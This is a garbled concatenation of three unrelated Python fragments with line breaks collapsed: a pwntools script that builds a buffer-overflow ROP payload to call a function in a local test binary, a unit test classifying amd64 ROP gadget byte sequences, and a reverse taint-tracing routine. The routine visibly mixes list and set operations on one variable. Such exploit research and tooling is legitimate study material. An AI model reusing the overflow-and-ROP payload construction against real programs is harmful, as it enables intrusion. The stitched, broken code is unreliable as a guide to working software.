import sys, logging from pwn import * import archinfo from rop_compiler import ropme, goal is_64bit = not (len(sys.argv) > 1 and sys.argv[1].lower() == "x86") if is_64bit: filename, arch = './bof_many_args', archinfo.ArchAMD64() else: filename, arch = './bof_many_args_x86', archinfo.ArchX86() files = [(filename, None, 0)] rop = ropme.rop(files, [], [["function", "callme", 11,12,13,14,15,16,17,18]], arch = arch, log_level = logging.DEBUG) if is_64bit: payload = 'A'*512 + 'B'*8 + rop else: payload = 'A'*524 + 'B'*4 + rop with open("/tmp/rop", "w") as f: f.write(rop) with open("/tmp/payload", "w") as f: f.write(payload) p = process([filename,'3000']) if "debug" in sys.argv: if is_64bit: gdb.attach(p, "set disassembly-flavor intel\nbreak *0x400731\nbreak callme\n") # 64-bit else: gdb.attach(p, "set disassembly-flavor intel\nbreak *0x080485ec\nbreak callme\n") # 32-bit
def test_amd64(self): tests = [ ({ RegJumpNormal: 1 }, '\xff\xe0'), # jmp rax ({ MoveReg: 2 }, '\x48\x93\xc3'), # xchg rbx, rax; ret ({ MoveReg: 1 }, '\x48\x89\xcb\xc3'), # mov rbx,rcx; ret ({ LoadConst: 1 }, '\x48\xc7\xc3\x00\x01\x00\x00\xc3' ), # mov rbx,0x100; ret. We prefer small constant ({}, '\x48\xbb\xff\xee\xdd\xcc\xbb\xaa\x99\x88\xc3' ), # movabs rbx,0x8899aabbccddeeff; ret. ({ AddGadget: 1 }, '\x48\x01\xc3\xc3'), # add rbx, rax; ret ({ LoadMem: 1 }, '\x5f\xc3'), # pop rdi; ret ({ LoadMem: 1 }, '\x48\x8b\x43\x08\xc3'), # mov rax,QWORD PTR [rbx+0x8]; ret ({ LoadMem: 1 }, '\x48\x8b\x07\xc3'), # mov rax,QWORD PTR [rdi]; ret ({ StoreMem: 1 }, '\x48\x89\x03\xc3'), # mov QWORD PTR [rbx],rax; ret ({ StoreMem: 1 }, '\x48\x89\x43\x08\xc3'), # mov QWORD PTR [rbx+0x8],rax; ret ({ StoreMem: 1 }, '\x48\x89\x44\x24\x08\xc3'), # mov QWORD PTR [rsp+0x8],rax; ret ({ LoadAddGadget: 1 }, '\x48\x03\x03\xc3'), # add rax,QWORD PTR [rbx]; ret ({ StoreAddGadget: 1 }, '\x48\x01\x43\xf8\xc3'), # add QWORD PTR [rbx-0x8],rax; ret ({}, '\x48\x39\xeb\xc3'), # cmp rbx, rbp; ret ({}, '\x5e'), # pop rsi ({}, '\x8b\x04\xc5\xc0\x32\x45\x00\xc3' ), # mov rax,QWORD PTR [rax*8+0x4532c0] ({ LoadMem: 1, LoadConst: 1 }, '\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3' ), # pop rcx; mov rbx,rcx; mov rcx,0x5; ret ({}, '\x48\x8b\x85\xf0\xfd\xff\xff\x48\x83\xc0'), ({ RegJumpNormal: 1, }, '\x5a\xfc\xff\xd0'), # pop rdx, cld, call rax ({ LoadMem: 3, LoadMultiple: 1 }, '\x5f\x5e\x5a\xc3'), # pop rdi; pop rsi; pop rdx; ret ({ AddConstGadget: 1 }, '\x48\x05\x44\x33\x22\x11\xc3'), # add rax, 0x11223344; ret ( { AddConstGadget: 1 }, # movabs rbx,0x1122334455667788; ret '\x48\xbb\x88\x77\x66\x55\x44\x33\x22\x11\x48\x01\xd8\xc3' ), # add rax,rbx; ret ({ AddConstGadget: 1 }, '\x48\xff\xc0\xc3'), # inc rax; ret ({ LoadMemJump: 1, RegJumpNormal: 1 }, '\x5d\xff\xe0'), #pop %rbp; jmpq *%rax; ({ LoadMem: 2 }, '\x58\x48\x89\xc3\xc3'), # pop rax; mov rbx, rax; ret ({ LoadMem: 3, LoadMultiple: 2 }, '\x59\x58\x48\x89\xc3\xc3' ), # pop rcx; pop rax; mov rbx, rax; ret # Don't allow more than one read from any register but the stack ({}, '\x48\x8b\x19\x48\x8b\x41\x08\xc3' ), # mov rbx,QWORD PTR [rcx]; mov rax,QWORD PTR [rcx+0x8]; ret ] self.run_test(archinfo.ArchAMD64(), tests)
def revtainttrace(ctx, trace, intaintedaddrs, intaintedregs, outputtrace=None, printinfo=False): # tainted addrs is a set of addresses, for each byte tainted # tainted regs is a set of register, currently string names # convert registers to offsets in pyvex arch style taintedregs = set() taintedaddrs = set() arch = archinfo.ArchAMD64() for r in intaintedregs: rname = r if not isinstance(r, str): rname = r.getName() roff, rsz = arch.registers[rname] for i in range(rsz): taintedregs.add(roff + i) for addr, sz in intaintedaddrs: for i in range(sz): taintedaddrs.append(addr + i) #DEBUG ignorereg = [] for r in arch.registers: # cc is too broad of a register, taints too much # sp is also misused by VEX in some of the instructions? # so this isn't 100% accurate, but still gives me some good answers if r.startswith("cc_") or r.endswith("sp"): roff, rsz = arch.registers[r] for i in range(rsz): ignorereg.append(roff + i) taintedins = 1 for i in range(len(trace) - 1, -1, -1): if not printinfo and (i & 0xfff == 0): print( f"{i:x}\t{taintedins/len(trace):.2%} tainted\tTaintedRegs: {strVexRegSet(arch, taintedregs)}, num adders = {len(taintedaddrs)}" ) te = trace[i] if te[0] == -1: # Got an api area! # if rax is tainted, we issue a stop here # if any volatile register is tainted, issue a stop here #TODO continue if len(te) < 3: raise ValueError("Need drefs in trace for reverse taint analysis") l = 15 if len(te) < 4 else te[3] regs = getRegInOut(ctx, te[0], l, arch, True, ignorereg) # if one of the output registers or addresses was in our tainted list: # remove registers output this last instruction # add registers input # remove memory written # add memory read spreads = False for r in regs[1]: if r in taintedregs: spreads = True break # check written addresses for addr, sz in te[2][1]: for i in range(sz): if addr + i in taintedaddrs: spreads = True if printinfo: print( f"@{te[0]:x} : {te[1]} : {strVexRegSet(arch, regs[0])} : {strVexRegSet(arch, regs[1])}" ) if spreads: taintedins += 1 # remove outputs we were tracking that got written out for r in regs[1]: if r in taintedregs: taintedregs.remove(r) for addr, sz in te[2][1]: for i in range(sz): if addr + i in taintedaddrs: taintedaddrs.remove(addr + i) # add inputs for r in regs[0]: taintedregs.add(r) for addr, sz in te[2][0]: for i in range(sz): taintedaddrs.add(addr + i) if printinfo: print( f"\tTaintedRegs: {strVexRegSet(arch, taintedregs)}, num adders = {len(taintedaddrs)}" ) if outputtrace is not None: # will be in reverse order outputtrace.append(trace[i]) print(f"{taintedins}/{len(trace)} = {taintedins/len(trace):.2%} tainted") #change vex offsets back to real registers return (taintedaddrs, strVexRegSet(arch, taintedregs))